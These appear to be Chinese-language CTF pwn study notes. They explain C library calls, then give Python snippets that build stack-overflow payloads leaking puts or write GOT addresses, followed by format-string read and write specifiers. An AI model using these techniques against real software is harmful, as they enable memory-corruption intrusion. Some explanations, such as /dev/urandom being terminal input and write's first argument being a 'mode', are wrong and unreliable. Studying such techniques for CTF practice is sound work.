signal()是一种系统调用,用于通知运行时系统,当某种特定的“软件中断”发生时调用特定的程序。它的真正的名字应该是“Call_that_routine_when_this_interrupt_Comes_in(当该中断发生时调用那个程序)”
C 库函数 void setbuf(FILE *stream, char *buffer) 定义流 stream 应如何缓冲。该函数应在与流 stream 相关的文件被打开时,且还未发生任何输入或输出操作之前被调用一次。
fd = open(“/dev/urandom”, 0);
if ( fd > 0 )
read(fd, &buf, 4u);
表示fd打开终端成功,会读取输入的四个字节作为buf的值
memset(buf, 0, sizeof(buf));初始化buf的所有值为0。
sprintf-将字符打印到字符串,C语言中的格式化输出,它将a1
的值格式化为长整型字符串,并存储到字符数组s
中。
*ssize_t read(int fd, void * buf, size_t count);***
函数说明:read()会把参数fd 所指的文件传送count 个字节到buf 指针所指的内存中. 若参数count 为0, 则read()不会有作用并返回0. 返回值为实际读取到的字节数, 如果返回0, 表示已到达文件尾或是无可读取的数据,此外文件读写位置会随读取到的字节移动.
v5 = read(0, buf, 0x20u); buf[v5 - 1] = 0; v5会被赋值为读取到的字符数。
1 | int strncmp(const char *str1, const char *str2, size_t n) |
参数
- str1 – 要进行比较的第一个字符串。
- str2 – 要进行比较的第二个字符串。
- n – 要比较的最大字符数。
返回值
该函数返回值如下:
如果返回值 < 0,则表示 str1 小于 str2。
如果返回值 > 0,则表示 str1 大于 str2。
如果返回值 = 0,则表示 str1 等于 str2。
\为转义字符,而’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号,例如’\xff’表示ASCII码为255的符号。
第一次溢出
泄露函数真实地址得到基地址
要使用output函数,如puts和write函数(该函数的特征必须为可以输出地址数据的函数)
puts
1
2
3
4
5
6
7
8
9
构造payload(泄露puts函数的地址)
```python
puts_plt_addr =elf.plt['puts']
puts_got_addr =elf.got['puts']
main_addr =elf.sym['_start']
payload = "a"*54
payload += p32(puts_plt_addr)+p32(main_addr)+p32(puts_got_addr)write
- 因为write函数有三个参数,所以这里都要加上。1
2
3
4
5
6
7
8
9
构造payload(泄露write函数的地址)
```PYTHON
write_plt_addr =elf.plt['write']
write_got_addr =elf.got['write']
main_addr =elf.sym['main']
payload = "a"*60
payload += p32(write_plt_addr)+p32(main_addr)+p32(1) +p32(write_got_addr)+p32(4)
大概意思即为,使用puts或者write函数的plt地址来连接puts函数的got表地址,最后返回到main函数的地址
关于漏洞函数
1 | write |
write有三个参数:
参数1是模式,“1”为写模式
参数2在栈上其实是一个地址,它会将这个地址上存的字符串给打印出来
参数3是打印字符串的长度。
1 | printf |
“%p”,可以输出后面参数的地址上的值(格式为0x…)
“%20 $p”(无空格),打印出偏移为21得地方的地址的值
“%20 $n”(无空格),写入%前字符串的长度到偏移为21得地方
“%70d%20 $n”向偏移为21地方的地址写入整数70
“%x”打出地址上的值,格式是16进制,但省去了0x,类型为str